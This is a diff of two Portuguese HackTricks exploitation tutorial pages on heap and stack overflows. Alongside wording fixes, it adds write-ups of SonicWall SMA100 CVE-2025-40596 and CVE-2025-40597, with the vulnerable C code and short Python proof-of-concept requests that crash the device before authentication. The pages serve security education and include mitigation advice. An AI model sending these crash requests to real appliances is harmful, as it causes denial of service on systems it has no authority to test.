diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 47e7e110d..7d01c5069 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -6,7 +6,7 @@ Um heap overflow é como um [**stack overflow**](../stack-overflow/index.html), mas no heap. Basicamente, isso significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado.** -Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e isso pode ser possível de abusar. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no chunk do heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso. +Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e pode ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no chunk do heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso. > [!TIP] > Para encontrar offsets de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets). @@ -19,17 +19,17 @@ No entanto, no caso de um heap overflow, a memória usada não é linear, mas ** Uma das técnicas usadas para isso é **Heap Grooming**, que é usada, por exemplo, [**neste post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). No post, é explicado como, quando no kernel do iOS, uma zona fica sem memória para armazenar chunks de memória, ela a expande por uma página do kernel, e essa página é dividida em chunks dos tamanhos esperados que seriam usados em ordem (até a versão 9.2 do iOS, depois esses chunks são usados de maneira aleatória para dificultar a exploração desses ataques). -Portanto, no post anterior onde um heap overflow está acontecendo, para forçar o objeto transbordado a colidir com uma ordem de vítima, vários **`kallocs` são forçados por vários threads para tentar garantir que todos os chunks livres sejam preenchidos e que uma nova página seja criada**. +Portanto, no post anterior onde um heap overflow está acontecendo, para forçar o objeto transbordado a colidir com uma ordem de vítima, vários **`kallocs` são forçados por várias threads para tentar garantir que todos os chunks livres sejam preenchidos e que uma nova página seja criada**. Para forçar esse preenchimento com objetos de um tamanho específico, a **alocação fora da linha associada a um mach port do iOS** é um candidato ideal. Ao elaborar o tamanho da mensagem, é possível especificar exatamente o tamanho da alocação `kalloc` e, quando o mach port correspondente é destruído, a alocação correspondente será imediatamente liberada de volta para `kfree`. -Então, alguns desses espaços reservados podem ser **liberados**. A **lista livre `kalloc.4096` libera elementos em uma ordem de último a primeiro**, o que basicamente significa que se alguns espaços reservados forem liberados e a exploração tentar alocar vários objetos de vítima enquanto tenta alocar o objeto vulnerável ao overflow, é provável que esse objeto seja seguido por um objeto de vítima. +Então, alguns desses espaços reservados podem ser **liberados**. A **lista livre `kalloc.4096` libera elementos em uma ordem de último a primeiro**, o que basicamente significa que, se alguns espaços reservados forem liberados e a exploração tentar alocar vários objetos de vítima enquanto tenta alocar o objeto vulnerável ao overflow, é provável que esse objeto seja seguido por um objeto de vítima. ### Exemplo libc -[**Nesta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit de uso anterior do próximo chunk e a posição do tamanho anterior é possível **consolidar um chunk usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, podendo sobrescrever dados que estão sendo usados em um ponteiro diferente também. +[**Nesta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit prev in use do próximo chunk e a posição do prev size é possível **consolidar um chunk usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, sendo capaz de sobrescrever dados que estão sendo usados em um ponteiro diferente também. -Outro exemplo do [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a bandeira**. +Outro exemplo do [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a flag**. No exemplo do [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html), é possível ver como abusar de um buffer overflow é possível **sobrescrever em um chunk próximo um endereço** onde **dados arbitrários do usuário** serão escritos. @@ -45,4 +45,36 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt - Usamos uma vulnerabilidade de Integer Overflow para obter um Heap Overflow. - Corrompemos ponteiros para uma função dentro de um `struct` do chunk transbordado para definir uma função como `system` e obter execução de código. +### Exemplo do Mundo Real: CVE-2025-40597 – Uso indevido de `__sprintf_chk` + +No firmware 10.2.1.15 do SonicWall SMA100, o módulo de reverse-proxy `mod_httprp.so` aloca um chunk de heap de **0x80 bytes** e então concatena várias strings nele com `__sprintf_chk`: +```c +char *buf = calloc(0x80, 1); +/* … */ +__sprintf_chk(buf, /* destination (0x80-byte chunk) */ +-1, /* <-- size argument !!! */ +0, /* flags */ +"%s%s%s%s", /* format */ +"/", "https://", path, host); +``` +`__sprintf_chk` é parte de **_FORTIFY_SOURCE**. Quando recebe um parâmetro `size` **positivo**, verifica se a string resultante cabe dentro do buffer de destino. Ao passar **`-1` (0xFFFFFFFFFFFFFFFF)**, os desenvolvedores efetivamente **desativaram a verificação de limites**, transformando a chamada reforçada de volta em um `sprintf` clássico e inseguro. + +Fornecer um cabeçalho **`Host:`** excessivamente longo, portanto, permite que um atacante **transborde o chunk de 0x80 bytes e sobrescreva os metadados do chunk de heap seguinte** (tcache / fast-bin / small-bin dependendo do alocador). Um crash pode ser reproduzido com: +```python +import requests, warnings +warnings.filterwarnings('ignore') +requests.get( +'https://TARGET/__api__/', +headers={'Host': 'A'*750}, +verify=False +) +``` +A exploração prática exigiria **heap grooming** para colocar um objeto controlável logo após o bloco vulnerável, mas a causa raiz destaca dois pontos importantes: + +1. **_FORTIFY_SOURCE não é uma solução mágica** – o uso indevido pode anular a proteção. +2. Sempre passe o **tamanho correto do buffer** para a família `_chk` (ou, ainda melhor, use `snprintf`). + +## Referências +* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 891162277..16321ef4a 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -8,11 +8,11 @@ Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escre O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**. -A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha. +A vulnerabilidade geralmente surge porque uma função **copia dentro da pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha. Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado. -Por exemplo, as seguintes funções podem ser vulneráveis: +Por exemplo, as seguintes funções poderiam ser vulneráveis: ```c void vulnerable() { char buffer[128]; @@ -21,7 +21,7 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Encontrando os offsets de Stack Overflows +### Encontrando offsets de Stack Overflows A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**. @@ -50,10 +50,10 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Explorando Estouro de Pilha -Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\ +Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente), você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\ A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro. -No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis). +No entanto, em outros cenários, talvez apenas **sobrescrever alguns valores de variáveis na pilha** possa ser suficiente para a exploração (como em desafios CTF fáceis). ### Ret2win @@ -79,7 +79,7 @@ Esta técnica é a estrutura fundamental para contornar a principal proteção d ../rop-return-oriented-programing/ {{#endref}} -## Estouros de Heap +## Estouro de Heap Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo: @@ -87,7 +87,7 @@ Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por ../libc-heap/heap-overflow.md {{#endref}} -## Tipos de proteções +## Tipos de Proteções Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira-as em: @@ -95,4 +95,33 @@ Existem várias proteções tentando prevenir a exploração de vulnerabilidades ../common-binary-protections-and-bypasses/ {{#endref}} +### Exemplo do Mundo Real: CVE-2025-40596 (SonicWall SMA100) + +Uma boa demonstração de por que **`sscanf` nunca deve ser confiável para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall. +A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`: +```c +char version[3]; +char endpoint[0x800] = {0}; +/* simplified proto-type */ +sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); +``` +1. A primeira conversão (`%2s`) armazena com segurança **dois** bytes em `version` (por exemplo, `"v1"`). +2. A segunda conversão (`%s`) **não tem especificador de comprimento**, portanto `sscanf` continuará copiando **até o primeiro byte NUL**. +3. Como `endpoint` está localizado na **pilha** e tem **0x800 bytes de comprimento**, fornecer um caminho mais longo que 0x800 bytes corrompe tudo que está após o buffer ‑ incluindo o **stack canary** e o **endereço de retorno salvo**. + +Uma prova de conceito em uma única linha é suficiente para acionar a falha **antes da autenticação**: +```python +import requests, warnings +warnings.filterwarnings('ignore') +url = "https://TARGET/__api__/v1/" + "A"*3000 +requests.get(url, verify=False) +``` +Mesmo que canários de pilha abortem o processo, um atacante ainda ganha um **Denial-of-Service** primitivo (e, com vazamentos de informações adicionais, possivelmente execução de código). A lição é simples: + +* Sempre forneça uma **largura máxima de campo** (por exemplo, `%511s`). +* Prefira alternativas mais seguras, como `snprintf`/`strncpy_s`. + +## Referências +* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) + {{#include ../../banners/hacktricks-training.md}}